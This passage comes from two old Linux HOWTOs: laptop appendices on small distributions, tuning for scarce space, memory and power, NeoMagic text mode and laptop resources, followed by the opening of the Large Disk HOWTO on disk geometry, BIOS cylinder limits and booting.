  12. Xdenu http://xdenu.tcm.hut.fi/ , quotating Alan Cox: "Xdenu is a small distribution program that installs as a set of DOS zips onto a DOS partition and gives you a complete X11 client workstation."
  13. LOAF http://www.ecks.org/loaf/
  14. pocket-linux http://pocket-linux.coven.vmh.net/
  15. FLUF http://www.upce.cz/~kolo/fluf.htm
  16. YARD http://www.croftj.net/~fawcett/yard/
  17. TLinux http://members.xoom.com/ror4/tlinux/
  18. ODL http://linux.apostols.org/guru/wen/
  19. SmallLinux by Steven Gibson http://smalllinux.netpedia.net/ Three disk micro-distribution of Linux and utilities. Based on kernel 1.2.11. Root disk is ext2 format and has fdisk and mkfs.ext2 so that a harddisk install can be done. Useful to boot up on old machines with less than 4MB of RAM.
  20. cLIeNUX by Rick Hohensee client-use-oriented Linux distribution ftp://ftp.blueznet.com /pub/colorg
  21. linux-lite by Paul Gortmaker for very small systems with less than 2MB RAM and 10MB harddisk space (1.x.x kernel) http://metalab.unc.edu/pub/Linux/kernel
  22. See also the packages at MetaLab formerly known as SunSite http://metalab.unc.edu/pub/Linux/system/recovery/!INDEX.html and the Boot-Disk-HOWTO
  23. You may also consider some of the boot floppies provided by various distributions falling into this category, e.g. the boot/rescue floppy of Debian/GNU Linux.
  24. If you like to build your own flavour of a boot floppy you may do so manually, as described in the BootDisk-HOWTO or using some helper tools, for instance mkrboot (provided at least as a Debian/GNU Linux package) or pcinitrd, which is part of the PCMCIA-CS package by David Hinds.
  25. Also you might try to build your Linux system on a ZIP drive. This is described in the ZIP-Install-mini-HOWTO.


Linux Laptop-HOWTO: Appendix B - Dealing with Limited Resources or Tuning the System

 Next Previous Contents

19. Appendix B - Dealing with Limited Resources or Tuning the System

19.1 Related HOWTOs

  1. LBX-HOWTO
  2. Small-Memory-HOWTO

19.2 Introduction

As mentioned in the introduction laptops sometimes have less resources if you compare them to desktops. To deal with limited space, memory, CPU speed and battery power, I have written this chapter.

19.3 Small Space

Introduction

There are different types of techniques to gain more disk space, such as sharing of space, freeing unused or redundant space, filesystem tuning and compression. Note: some of these techniques use memory instead of space. As you will see, there are many small steps necessary to free some space.

Techniques

  1. Stripping: Though many distributions come with stripped binaries today it is useful to check this. For details see man strip. To find every unstripped file you can use the file command or more convenient the tool findstrip. Attention: don't strip libraries, sometimes the wrong symbols are removed due to a bad programming technique. Or use the --strip-unneeded option.
  2. Perforation: zum(1)reads a file list on stdin and attempts to perforate these files. Perforation means, that series of null bytes are replaced by lseek, thus giving the file system a chance of not allocating real disk space for those bytes. Example: find . -type f | xargs zum
  3. Remove Odd Files and Duplicates: Check your system for core files, emacs recovery files <#FILE#> vi recovery files <FILE>.swp, RPM recovery files <FILE>.rpmorig and patch recovery files. Find duplicates, you may try finddup. Choose a system to name your backup, temporary and test files, e.g. with a signature at the end.
  4. Clean Temporary Files: , e.g. /tmp, there is even a tool tmpwatch.
  5. Shorten the Log Files: usually the files in /var/log.
  6. Remove Files: Remove files which are not "necessary" under all circumstances such as man pages, documentation /usr/doc and sources e.g. /usr/src .
  7. Unnecessary Libraries: You may use the binstats package to find unused libraries (Thanks to Tom Ed White).
  8. Filesystem: Choose a filesystem which treats disk space economically e.g. rsfs. Tune your filesystem e.g. tune2fs. Choose an appropriate partition and block size.
  9. Reduce Kernel Size: Either by using only the necessary kernel features and/or making a compressed kernel image bzImage.
  10. Compression: I didn't check this but AFAIK you may compress your filesystem with gzip and decompress it on the fly. Alternatively you may choose to compress only certain files. You can even execute compressed files with zexec
  11. Compressed Filesystems:

    - For e2fs filesystems there is a compression version available e2compr , see http://debs.fuller.edu/e2compr/ .

    - DMSDOS which enables your machine to access Windows95 compressed drives (drivespace, doublestacker). If you don't need DOS/Windows95 compatibility, i.e. if you want to compress Linux-only data, this is really discouraged by the author of the program. See http://fb9nt-ln.uni-duisburg.de/mitarbeiter/gockel/software/dmsdos/ .

  12. Partition Sharing: You may share swap-space (see Swap-Space-HOWTO) or data partitions between different OS (see mount). For mounting MS-DOS Windows95 compressed drives (doublespace, drivespace) you may use dmsdos http://metalab.unc.edu/pub/Linux/system/filesystems/dosfs/.
  13. Libraries: Take another (older) library, for instance libc5 , this library seems to be smaller than libc6 aka glibc2 .
  14. Kernel: If your needs are fitted with an older kernel version, you can save some space.
  15. GUI: Avoid as much Graphical User Interface (GUI) as possible.
  16. Tiny Distributions: There are some distributions available which fit from one 3.5" floppy to 10MB disk space and fit for small memories, too. See appendix A and below.
  17. External Storage Devices (Hard Disks, ZIP Drives, NFS, SAMBA): Since many notebooks may be limited in their expandability, using the parallel port is an attractive option. There are external harddisks and ZIP Drives available. Usually they are also connectable via PCMCIA. Another way is using the resources of another machine through NFS or SAMBA etc.

19.4 Harddisk Speed

Use the tool hdparm to set up better harddisk performance. Though I have seen laptop disk enabled with striping, I can't see a reason to do so, because IMHO aka RAID0 striping needs at least two different disks to increase performance.

See UNIX and LINUX Computing Journal: Tunable Filesystem Parameters in /proc How to increase, decrease and reconfigure filsystem behavior from within /proc.

19.5 Small Memory

Related HOWTOs

  1. Small-Memory-mini-HOWTO by Todd Burgess <tburgess@uoguelph.ca > http://eddie.cis.uoguelph.ca/~tburgess
  2. Modules-mini-HOWTO
  3. Kerneld-mini-HOWTO

Techniques

Check the memory usage with free and top.

Mergemem Project . Many programs contain memory areas of the same content that remain undetected by the operating system. Typically, these areas contain data that have been generated on startup and remain unchanged for longer periods. With mergemem such areas are detected and shared. The sharing is performed on the operating system level and is invisible to the user level programs. mergemem is particularily useful if you run many instances of interpreters and emulators (like Java or Prolog) that keep their code in private data areas. But also other programs can take advantage albeit to a lesser degree.

You may also reduce the kernel size as much as possible by removing any feature which is not necessary for your needs and by modularizing the kernel as much as possible.

Also you may shutdown every service or daemon which is not needed, e.g. lpd, mountd, nfsd and close some virtual consoles. Please see Small-Memory-mini-HOWTO for details.

And of coarse use swap space, when possible.

If possible you use the resources of another machine, for instance with X, VNC or even telnet. For more information on Virtual Network Computing (VNC), see http://http://www.uk.research.att.com/vnc/ .

19.6 Low CPU Speed

You may want to overdrive the CPU speed but this can damage your hardware and I don't have experience with it. For some examples look at Adorable Toshiba Libretto - Overclocking http://www.cerfnet.com/~adorable/libretto.html.

19.7 Power Saving Techniques

  1. If you don't need infrared support, disable it in the BIOS or shutdown the IrDA device driver. There are also some IrDA features of the kernel which are useful for saving power.
  2. PCMCIA services consume much power, so shut them down if you don't need them.
  3. I'm not sure to which extend the backlight consumes power. WARNING: AFAIK this device can only bear a limited number of uptime circles. So avoid using screensavers.
  4. For some examples to build batteries with increased uptime up to 8 hours look at Adorable Toshiba Libretto http://www.cerfnet.com/~adorable/libretto.html.
  5. For information about APM look at the APM chapter above.
  6. A hacked rclock . Booker C. Bense has hacked the rclock program to include a simple battery power meter on the clock face.
  7. xbatstat. A battery level status checker for Linux and X.
  8. The "noatime" option when mouting filesystems tells the kernel to not update the access time information of the file. This information, although sometimes useful, is not used by most people (do you know that ls -lu gives you the access time?). Therefore, you can safely disable it, then preventing disk access each time you cat a file. Here is an example of a /etc/fstab with this power-saving option:
    /dev/hda7 /var ext2 defaults,noatime 0 2
  9. hdparm hdparm is a Linux IDE disk utility that lets you set spin-down timeouts and other disk parameters. It works also for some SCSI features.
  10. Mobile Update Daemon This is a drop-in replacement for the standard update daemon, mobile-update minimizes disk spin ups and reduces disk uptime. It flushes buffers only when other disk activity is present. To ensure a consistent file system call sync manually. Otherwise files may be lost on power failure. mobile-update does not use APM. So it works also on older systems.
  11. noflushd: noflushd monitors disk activity and spins down disks that have been idle for more than <timeout> seconds. It requires a kernel >=2.2.11 . Useful in combination with hdparm and mount with noatime option to bring down disk activity.
  12. Toshiba Linux Utilities This is a set of Linux utilities for controlling the fan, supervisor passwords, and hot key functions of Toshiba Pentium notebooks. There is a KDE package Klibreta, too.
  13. At Kenneth E. Harker's page there is a recommendation for LCDproc LCDProc . "LCDproc is a small piece of software that will enable your Linux box to display live system information on a 20x4 line backlit LCD display. This program shows, among other things, battery status on notebooks." I tried this package and found that it connects only to the external Matrix-Orbital 20x4 LCD display http://www.matrix-orbital.com/, which is a LCD display connected to a serial port. I can't see any use for a laptop yet.
  14. Diald: Dial Daemon . The Diald daemon provides on demand Internet connectivity using the SLIP or PPP protocols. Diald can automatically dial in to a remote host when needed or bring down dial-up connections that are inactive.
  15. KDE http://www.kde.org provides KAPM, Kbatmon and Kcmlaptop. Written by Paul Campbell kcmlaptop is a set of KDE control panels that implements laptop computer support functions, it includes a dockable battery status monitor for laptops - in short a little icon in the KDE status bar that shows how much battery time you have left. It also will warn you when power is getting low and allows you to configure power saving options. Similar packages you may find at the GNOME project http://www.gnome.org/ . See the software maps at both sites.
  16. Please see Battery Powered Linux Mini-HOWTO by Hanno Mueller, hanno@lava.de http://www.lava.de/~hanno/ for more information.

19.8 Kernel

Related HOWTOs

  • Kernel-HOWTO
  • BootPrompt-HOWTO

Many kernel features are related to laptops. For instance APM, IrDA, PCMCIA and some options for certain laptops, e.g. IBM ThinkPads. In some distributions they not configured. And the kernel is usually bigger than necessary. So it's seems a good idea to customize the kernel. Though this task might seem difficult for the beginner it is highly recommended. Since this involves dangerous operations you need to be careful. But, if you can install a better kernel successfully, you've earned your intermediate Linux sysadmin merit badge. - Since this topic is already covered in other documents I want handle this here.

19.9 Tiny Applications and Distributions

A small collection yet, but I'm looking for more information.

  1. BOA - "Lightweight and High Performance WebServer. boa is a single-tasking HTTP server. That means that unlike traditional web servers, it does not fork for each incoming connection, nor does it fork many copies of itself to handle multiple connections. It internally multiplexes all of the ongoing HTTP connections, and forks only for CGI programs (which must be separate processes.) Preliminary tests show boa is capable of handling several hundred hits per second on a 100 MHz Pentium."
  2. MGR - a graphical windows system, which uses much less resources than X.
  3. Low Bandwidth X:

    Alan Cox in LINUX REDUX February 1998 " .. there are two that handle normal applications very nicely. LBX (Low Bandwidth X) is the official application of the X Consortium (now OpenGroup www.opengroup.org). Dxpc http://ccwf.cc.utexas.edu/~zvonler/dxpc is the alternative most people prefer. These systems act as proxy X11 servers and compress datastreams by well over 50 percent for normal requests, often reaching a reduction to 25 percent of the original bandwidth usage. With dxpc, X windows applications are quite usable over a 28.8 modem link or across the Internet."

  4. blackbox - "This is a window manager for X. It is similar in many respects to such popular packages as Window Maker, Enlightenment, and FVWM2. You might be interested in this package if you are tired of window managers that are a heavy drain on your system resources, but you still want an attractive and modern-looking interface."
  5. xfce - xfce is a lightweight and stable desktop environment for various UNIX systems.
  6. linux-lite - distribution based on a 1.x.x kernel for systems with only 2MB memory and 10MB harddisk. URL see above.
  7. smallLinux - http://smalllinux.netpedia.net/ . Three disk micro-distribution of Linux and utilities. Based on kernel 1.2.11. Root disk is ext2 format and has fdisk and mkfs.ext2 so that a harddisk install can be done. Useful to boot up on old machines with less than 4MB of RAM.
  8. cLIeNUX - client-use-oriented Linux distribution.
  9. minix - not a Linux but a UNIX useful for very small systems, such as 286 CPU and 640K RAM http://www.cs.vu.nl/~ast/minix.html . There is even X support named mini-x by David I. Bell ftp://ftp.linux.org.uk/pub/linux/alan/ .
  10. screen - tiny but powerful console manager. John M. Fisk <fiskjm@ctrvax.vanderbilt.edu> in LINUX GAZETTE July 1, 1996 :"It's a GUI, GUI, GUI, GUI world! " -- or so the major OS manufacturers would have you belief. Truth is, that while this is increasingly the case, there are times when the command line interface (CLI) is still a very good choice for getting things done. It's fast, generally efficient, and is a good choice on memory or CPU constrained machines. And don't forget that there are still a lot of very nifty things that can be done at the console."
  11. tinyirc - "A tiny, stripped down IRC Client. Doesn't have most of the more advance commands in the ircII family of IRC Clients, nor does it have any color, but it works, and it's tiny."

19.10 Hardware Upgrade

You may also take into account to upgrade the hardware itself, though this may have some caveats, see chapter Open a Laptop Case above. If you need a survey about the possibilities, you can take a look at http://www.upgrade.de, this page is also available in French and English.


Linux Laptop-HOWTO: Appendix C - NeoMagic Chip NM20xx

 Next Previous Contents

20. Appendix C - NeoMagic Chip NM20xx

20.1 Introduction

Hence the NeoMagic chipset series NM20xx is one of the most used graphic chips in laptops in our times, I will spent a few words on them. Though a long time this chip was only supported by commercial X servers, since the middle of 1998 RedHat provided a binary X server manufactured by PrecisionInsight. Since version 3.3.3 this X server is also available by XFree86.

20.2 Textmode 100x37

This chapter is a courtesy of Cedric Adjih < cedric.adjih@inria.fr >. I changed some minor parts.

An apparently little known fact about the Neomagic chipset NM20xx is that you can run text mode in 100x37 (i.e. 800x600). This text mode is very nice (as opposed to the 80x25 which is ugly). I tried this with a HP OmniBook 800 and suppose it might work with other laptops using the NeoMagic chip, too. The following that I wrote was much longer than I expected so I wrote it as a kind of mini-howto :-) :

The main problem is that is a bit difficult to set up, and if you're going wrong with SVGATextMode/restoretextmode some results on the LCD might be frightening. Although I didn't manage to break my LCD with many many attempts going wrong, DISCLAMER: THIS MIGHT DAMAGE YOUR HARDWARE. YOU HAVE BEEN WARNED. FOLLOW THE FOLLOWING INSTRUCTIONS AT YOUR OWN RISKS. I'M NOT RESPONSIBLE IF SOMETHING BAD HAPPENS.

Survey

You need to do three main steps:

  1. Enable Linux to boot in 800x600 textmode. The problem is that you won't see any text before the following two steps aren't done.
  2. Automatically run restoretextmode with correct register data.
  3. Automatically run SVGATextMode.

More Details

All the files I have modified, are available for now at http://starship.python.net/crew/adjih/data/cda-omni-trick.tar.gz

Enabling Linux to Boot in 800x600

Recent kernels (2.2.x) need to be compiled with CONFIG_VIDEO_GFX_HACK defined. Default is off. (look in /usr/src/linux-2.2.x/arch/i386/boot/video.S)

This is done by passing the parameter vga=770 to older kernels or vga=7 to 2.2.x kernels. Example with lilo.conf:

image=/boot/bzImage-modif
label=22
append="svgatextmode=100x37x8_SVGA" #explained later
vga=7
read-only

Running restoretextmode and SVGATextMode at Boot Time

You must arrange to run restoretextmode <name of some textreg.dat file> and SVGATextMode 100x37x8_SVGA at boot time.

An example textreg.dat for restoretextmode (obtained using savetextmode) is in my tar archive in tmp/, and an example /etc/TextConfig.

Since I'm lazy, I've simply put SVGATextMode and restoretextmode in the /etc/rc.boot/kbd file from my Debian/GNU Linux which get executed at boot time (also available in the tar archive).

Now the Key Point

Annoying things will be displayed if you don't use the right SVGATextMode in the right video text mode: this is why I also pass the environmental variable "svgatextmode=100x37x8_SVGA" (arbitrary name) to the kernel (using append=xxx in lilo.conf) when I also set vga=7: the script /etc/rc.boot/kbd tests this variable and calls restoretextmode and SVGATextMode IF AND ONLY IF.

Road Map

  1. Recompile the kernel 2.2.x with CONFIG_VIDEO_GFX_HACK
  2. Insert the restoretextmode with the correct parameter in the initialisation script, with no other changes.
  3. Boot with normal text mode (80x25) but restoretextmode: you should see the screen going to 100x37, but with only 80x25 usable. Don't use SVGATextMode yet.
  4. It is much better to conditionnalize your initialize code as I did, to keep the possibility of booting in both modes: you may test this now with some reboots (starting restoretextmode or not).
  5. Boot with 100x37 text mode using parameter vga=7 (lilo.conf), you should see white background at some point, but the characters will be black on black. This is ok. You'll have to reboot blindly now.
  6. Insert the <path>/SVGATextMode 100x37x8_SVGA after the restoretextmode in initialization scripts.
  7. Reboot with vga=7 (lilo.conf)
  8. Should be OK now. Enjoy.


Linux Laptop-HOWTO: Appendix D - Annotated Bibliography

 Next Previous Contents

21. Appendix D - Annotated Bibliography

  • Linux guides and HOWTOs, available at the Linux Documentation Project (LDP) http://metalab.unc.edu/LDP . These sources of information are highly recommended.
  • I found two books about PC hardware which contain a dedicated chapter about repairing laptops. Author: Scott Mueller Title: Upgrading and Repairing PCs Publisher: QUE Corporation. Author: Marc Misani Title: The Complete Hardware Upgrade and Maintainance Guide Publisher: unknown Both books don't know about Linux and both are quite short about laptops. The book by Marc Minasi provides a little more information about laptops.
  • Authors: Alessandro Rubini, Andy Oram Title: Linux Device Drivers
  • Author: Stephen J. Bigelow Title: Maintain and Repair Your Notebook, Palmtop, or Pen Computer Publisher: McGraw Hill Text, September 1993 Review by Booknews, Inc. , January 1, 1994: A guide to performing routine maintenance and simple repairs to notebook, palmtop and pen computers. Covers such topics as how to diagnose and replace faulty LCD and plasma displays, and how to protect circuitry from electrostatic damage. Written with beginners in mind -- but some hardware experience would be helpful in understanding the subtleties and cautions involved. Annotation copyright Book News, Inc. Portland, Or. Though this book seems outdated I don't know a newer one.
  • Author: Frank van Gilluwe Title: The Undocumented PC Publisher: Addison Wesley Developers Press Review by Craig Hart: There are two editions. Edition 1 has a purple cover, edition 2 has a grey marble background photo with brown-on-yellow text panel. Edition 2 is not much better than edition one - only about 10%; of the information has changed, although a lot of typographical errors have been corrected. This is an excellent book, because it not only lists the raw data required to program something, but it has lot's of explanations, how-to's and example programs.
  • Authors: Gerald Reischl / Heinz Sundt Title: Die mobile Revolution Publisher: Frankfurt: Ueberreuter 1999 Some speculations about the future of mobile communication.


Linux Laptop-HOWTO: Appendix E - Resources for Specific Laptops

 Next Previous Contents

22. Appendix E - Resources for Specific Laptops

Certain laptops have found some more enthusiastic Linux users, than other models. This list is probably not comprehensive:

22.1 IBM ThinkPad

ThinkPad Configuration Tool for Linux tpctl

Mailing list linux-thinkpad.

22.2 Toshiba Laptops

Toshiba Linux Utilities This is a set of Linux utilities for controlling the fan, supervisor passwords, and hot key functions of Toshiba Pentium notebooks. There is a KDE package Klibreta, too.

See also Toshiba Linux Utilities

Mailing lists: linux-on-portege , Linux on Toshiba Satellite 40xx linux-tosh-40xx <majordomo@geekstuff.co.uk>.

Toshiba itself offers now Toshiba Linux Support.

22.3 COMPAQ Concerto Aero

COMPAQ Concerto Fan's Home Page and Aero-FAQ.

The latest version of the Linux Compaq Concerto Pen Driver is available from Joe Pfeiffer's home page.

22.4 DELL Laptops

Mailing list at linux-dell-laptops


Large Disk HOWTO

Andries Brouwer, aeb@cwi.nl

v2.2x, 30 Aug 2001

All about disk geometry and the 1024 cylinder limit for disks.

For the most recent version of this text, see www.win.tue.nl.

1. The problem

2. Summary

3. Units and Sizes

  • 3.1 Sectorsize
  • 3.2 Disksize

4. Disk Access

  • 4.1 BIOS Disk Access and the 1024 cylinder limit
  • 4.2 History of BIOS and IDE limits

5. Booting

  • 5.1 LILO and the `lba32' and `linear' options
  • 5.2 A LILO bug
  • 5.3 1024 cylinders is not 1024 cylinders
  • 5.4 No 1024 cylinder limit on old machines with IDE

6. Disk geometry, partitions and `overlap'

  • 6.1 The last cylinder
  • 6.2 Cylinder boundaries

7. Translation and Disk Managers

8. Kernel disk translation for IDE disks

  • 8.1 EZD
  • 8.2 DM6:DDO
  • 8.3 DM6:AUX
  • 8.4 DM6:MBR
  • 8.5 PTBL
  • 8.6 Getting rid of a disk manager

9. Consequences

  • 9.1 Computing LILO parameters

10. Details

  • 10.1 IDE details - the seven geometries
  • 10.2 SCSI details

11. The Linux IDE 8 GiB limit

  • 11.1 BIOS complications
  • 11.2 Jumpers that select the number of heads
  • 11.3 Jumpers that clip total capacity

12. The Linux 65535 cylinder limit

  • 12.1 IDE problems with 34+ GB disks

13. Extended and logical partitions

14. Problem solving

  • 14.1 Problem: My IDE disk gets a bad geometry when I boot from SCSI.
  • 14.2 Nonproblem: Identical disks have different geometry?
  • 14.3 Nonproblem: fdisk sees much more room than df?


Large Disk HOWTO: The problem

 Next Previous Contents

1. The problem

Suppose you have a disk with more than 1024 cylinders. Suppose moreover that you have an operating system that uses the old INT13 BIOS interface to disk I/O. Then you have a problem, because this interface uses a 10-bit field for the cylinder on which the I/O is done, so that cylinders 1024 and past are inaccessible.

Fortunately, Linux does not use the BIOS, so there is no problem.

Well, except for two things:

(1) When you boot your system, Linux isn't running yet and cannot save you from BIOS problems. This has some consequences for LILO and similar boot loaders.

(2) It is necessary for all operating systems that use one disk to agree on where the partitions are. In other words, if you use both Linux and, say, DOS on one disk, then both must interpret the partition table in the same way. This has some consequences for the Linux kernel and for fdisk.

Below a rather detailed description of all relevant details. Note that I used kernel version 2.0.8 source as a reference. Other versions may differ a bit.


Large Disk HOWTO: Summary

 Next Previous Contents

2. Summary

You got a new large disk. What to do? Well, on the software side: use fdisk (or, better, cfdisk) to create partitions, and then mke2fs to create a filesystem, and then mount to attach the new filesystem to the big file hierarchy.

You need not read this HOWTO since there are no problems with large hard disks these days. The great majority of apparent problems is caused by people who think there might be a problem and install a disk manager, or go into fdisk expert mode, or specify explicit disk geometries to LILO or on the kernel command line.

However, typical problem areas are: (i) ancient hardware, (ii) several operating systems on the same disk, and sometimes (iii) booting.

Advice:

For large SCSI disks: Linux has supported them from very early on. No action required.

For large IDE disks (over 8.4 GB): get a recent stable kernel (2.0.34 or later). Usually, all will be fine now, especially if you were wise enough not to ask the BIOS for disk translations like LBA and the like.

For very large IDE disks (over 33.8 GB): see IDE problems with 34+ GB disks below.

If LILO hangs at boot time, also specify linear in the configuration file /etc/lilo.conf. (And if you did have linear, try without it.) If you have a recent LILO (version 21.4 or later), the keyword lba32 will usually allow booting from anywhere on the disk, that is, the 1024 cylinder limit is gone. (Of course, LILO is a bit fragile, and the use of a different bootloader might be more convenient.)

There may be geometry problems that can be solved by giving an explicit geometry to kernel/LILO/fdisk.

If you have an old fdisk and it warns about overlapping partitions: ignore the warnings, or check using cfdisk that really all is well.

For HPT366, see the Linux HPT366 HOWTO.

If at boot time the kernel cannot read the partition table, consider the possibility that UDMA66 was selected while the controller or the cable or the disk drive did not support UDMA66. In such a case every attempt to read will fail, and reading the partition table is the first thing the kernel does. Make sure no UDMA66 is used.

If you think something is wrong with the size of your disk, make sure that you are not confusing binary and decimal units , and realize that the free space that df reports on an empty disk is a few percent smaller than the partition size, because there is administrative overhead.

If for a removable drive the kernel reports two different sizes, then one is found from the drive, and the other from the disk/floppy. This second value will be zero when the drive has no media.

Now, if you still think there are problems, or just are curious, read on.


Large Disk HOWTO: Units and Sizes

 Next Previous Contents

3. Units and Sizes

A kilobyte (kB) is 1000 bytes. A megabyte (MB) is 1000 kB. A gigabyte (GB) is 1000 MB. A terabyte (TB) is 1000 GB. This is the SI norm. However, there are people that use 1 MB=1024000 bytes and talk about 1.44 MB floppies, and people who think that 1 MB=1048576 bytes. Here I follow the recent standard and write Ki, Mi, Gi, Ti for the binary units, so that these floppies are 1440 KiB (1.47 MB, 1.41 MiB), 1 MiB is 1048576 bytes (1.05 MB), 1 GiB is 1073741824 bytes (1.07 GB) and 1 TiB is 1099511627776 bytes (1.1 TB).

Quite correctly, the disk drive manufacturers follow the SI norm and use the decimal units. However, Linux kernel boot messages (for not-so-recent kernels) and some fdisk-type programs use the symbols MB and GB for binary, or mixed binary-decimal units. So, before you think your disk is smaller than was promised when you bought it, compute first the actual size in decimal units (or just in bytes).

Concerning terminology and abbreviation for binary units, Knuth has an alternative proposal, namely to use KKB, MMB, GGB, TTB, PPB, EEB, ZZB, YYB and to call these large kilobyte, large megabyte, ... large yottabyte. He writes: `Notice that doubling the letter connotes both binary-ness and large-ness.' This is a good proposal - `large gigabyte' sounds better than `gibibyte'. For our purposes however the only important thing is to stress that a megabyte has precisely 1000000 bytes, and that some other term and abbreviation is required if you mean something else.

3.1 Sectorsize

In the present text a sector has 512 bytes. This is almost always true, but for example certain MO disks use a sectorsize of 2048 bytes, and all capacities given below must be multiplied by four. (When using fdisk on such disks, make sure you have version 2.9i or later, and give the `-b 2048' option.)

3.2 Disksize

A disk with C cylinders, H heads and S sectors per track has C*H*S sectors in all, and can store C*H*S*512 bytes. For example, if the disk label says C/H/S=4092/16/63 then the disk has 4092*16*63=4124736 sectors, and can hold 4124736*512=2111864832 bytes (2.11 GB). There is an industry convention to give C/H/S=16383/16/63 for disks larger than 8.4 GB, and the disk size can no longer be read off from the C/H/S values reported by the disk.


Large Disk HOWTO: Disk Access

 Next Previous Contents

4. Disk Access

In order to read or write something from or to the disk, we have to specify a position on the disk, for example by giving a sector or block number. If the disk is a SCSI disk, then this sector number goes directly into the SCSI command and is understood by the disk. If the disk is an IDE disk using LBA, then precisely the same holds. But if the disk is old, RLL or MFM or IDE from before the LBA times, then the disk hardware expects a triple (cylinder,head,sector) to designate the desired spot on the disk.

The correspondence between the linear numbering and this 3D notation is as follows: for a disk with C cylinders, H heads and S sectors/track position (c,h,s) in 3D or CHS notation is the same as position c*H*S + h*S + (s-1) in linear or LBA notation. (The minus one is because traditionally sectors are counted from 1, not 0, in this 3D notation.)

Consequently, in order to access a very old non-SCSI disk, we need to know its geometry, that is, the values of C, H and S. (And if you don't know, there is a lot of good information on www.thetechpage.com.)

4.1 BIOS Disk Access and the 1024 cylinder limit

Linux does not use the BIOS, but some other systems do. The BIOS, which predates LBA times, offers with INT13 disk I/O routines that have (c,h,s) as input. (More precisely: AH selects the function to perform, CH is the low 8 bits of the cylinder number, CL has in bits 7-6 the high two bits of the cylinder number and in bits 5-0 the sector number, DH is the head number, and DL is the drive number (80h or 81h). This explains part of the layout of the partition table.)

Thus, we have CHS encoded in three bytes, with 10 bits for the cylinder number, 8 bits for the head number, and 6 bits for the track sector number (numbered 1-63). It follows that cylinder numbers can range from 0 to 1023 and that no more than 1024 cylinders are BIOS addressable.

DOS and Windows software did not change when IDE disks with LBA support were introduced, so DOS and Windows continued needing a disk geometry, even when this was no longer needed for the actual disk I/O, but only for talking to the BIOS. This again means that Linux needs the geometry in those places where communication with the BIOS or with other operating systems is required, even on a modern disk.

This state of affairs lasted for four years or so, and then disks appeared on the market that could not be addressed with the INT13 functions (because the 10+8+6=24 bits for (c,h,s) can address not more than 8.5 GB) and a new BIOS interface was designed: the so-called Extended INT13 functions, where DS:SI points at a 16-byte Disk Address Packet that contains an 8-byte starting absolute block number.

Very slowly the Microsoft world is moving towards using these Extended INT13 functions. Probably a few years from now no modern system on modern hardware will need the concept of `disk geometry' anymore.

4.2 History of BIOS and IDE limits

ATA Specification (for IDE disks) - the 137 GB limit

At most 65536 cylinders (numbered 0-65535), 16 heads (numbered 0-15), 255 sectors/track (numbered 1-255), for a maximum total capacity of 267386880 sectors (of 512 bytes each), that is, 136902082560 bytes (137 GB). This is not yet a problem (in 1999), but will be a few years from now.

BIOS Int 13 - the 8.5 GB limit

At most 1024 cylinders (numbered 0-1023), 256 heads (numbered 0-255), 63 sectors/track (numbered 1-63) for a maximum total capacity of 8455716864 bytes (8.5 GB). This is a serious limitation today. It means that DOS cannot use present day large disks.

The 528 MB limit

If the same values for c,h,s are used for the BIOS Int 13 call and for the IDE disk I/O, then both limitations combine, and one can use at most 1024 cylinders, 16 heads, 63 sectors/track, for a maximum total capacity of 528482304 bytes (528MB), the infamous 504 MiB limit for DOS with an old BIOS. This started being a problem around 1993, and people resorted to all kinds of trickery, both in hardware (LBA), in firmware (translating BIOS), and in software (disk managers). The concept of `translation' was invented (1994): a BIOS could use one geometry while talking to the drive, and another, fake, geometry while talking to DOS, and translate between the two.

The 2.1 GB limit (April 1996)

Some older BIOSes only allocate 12 bits for the field in CMOS RAM that gives the number of cylinders. Consequently, this number can be at most 4095, and only 4095*16*63*512=2113413120 bytes are accessible. The effect of having a larger disk would be a hang at boot time. This made disks with geometry 4092/16/63 rather popular. And still today many large disk drives come with a jumper to make them appear 4092/16/63. See also over2gb.htm. Other BIOSes would not hang but just detect a much smaller disk, like 429 MB instead of 2.5 GB.

The 3.2 GB limit

There was a bug in the Phoenix 4.03 and 4.04 BIOS firmware that would cause the system to lock up in the CMOS setup for drives with a capacity over 3277 MB. See over3gb.htm.

The 4.2 GB limit (Feb 1997)

Simple BIOS translation (ECHS=Extended CHS, sometimes called `Large disk support' or just `Large') works by repeatedly doubling the number of heads and halving the number of cylinders shown to DOS, until the number of cylinders is at most 1024. Now DOS and Windows 95 cannot handle 256 heads, and in the common case that the disk reports 16 heads, this means that this simple mechanism only works up to 8192*16*63*512=4227858432 bytes (with a fake geometry with 1024 cylinders, 128 heads, 63 sectors/track). Note that ECHS does not change the number of sectors per track, so if that is not 63, the limit will be lower. See over4gb.htm.

The 7.9 GB limit

Slightly smarter BIOSes avoid the previous problem by first adjusting the number of heads to 15 (`revised ECHS'), so that a fake geometry with 240 heads can be obtained, good for 1024*240*63*512=7927234560 bytes.

The 8.4 GB limit

Finally, if the BIOS does all it can to make this translation a success, and uses 255 heads and 63 sectors/track (`assisted LBA' or just `LBA') it may reach 1024*255*63*512=8422686720 bytes, slightly less than the earlier 8.5 GB limit because the geometries with 256 heads must be avoided. (This translation will use for the number of heads the first value H in the sequence 16, 32, 64, 128, 255 for which the total disk capacity fits in 1024*H*63*512, and then computes the number of cylinders C as total capacity divided by (H*63*512).)

The 33.8 GB limit (August 1999)

The next hurdle comes with a size over 33.8 GB. The problem is that with the default 16 heads and 63 sectors/track this corresponds to a number of cylinders of more than 65535, which does not fit into a short. Most BIOSes in existence today can't handle such disks. (See, e.g., Asus upgrades for new flash images that work.) Linux kernels older than 2.2.14 / 2.3.21 need a patch. See IDE problems with 34+ GB disks below.

For another discussion of this topic, see Breaking the Barriers, and, with more details, IDE Hard Drive Capacity Barriers.

Hard drives over 8.4 GB are supposed to report their geometry as 16383/16/63. This in effect means that the `geometry' is obsolete, and the total disk size can no longer be computed from the geometry.


Large Disk HOWTO: Booting

 Next Previous Contents

5. Booting

When the system is booted, the BIOS reads sector 0 (known as the MBR - the Master Boot Record) from the first disk (or from floppy or CDROM), and jumps to the code found there - usually some bootstrap loader. These small bootstrap programs found there typically have no own disk drivers and use BIOS services. This means that a Linux kernel can only be booted when it is entirely located within the first 1024 cylinders, unless you both have a modern BIOS (a BIOS that supports the Extended INT13 functions), and a modern bootloader (a bootloader that uses these functions when available).

This problem (if it is a problem) is very easily solved: make sure that the kernel (and perhaps other files used during bootup, such as LILO map files) are located on a partition that is entirely contained in the first 1024 cylinders of a disk that the BIOS can access - probably this means the first or second disk.

Thus: create a small partition, say 10 MB large, so that there is room for a handful of kernels, making sure that it is entirely contained within the first 1024 cylinders of the first or second disk. Mount it on /boot so that LILO will put its stuff there.

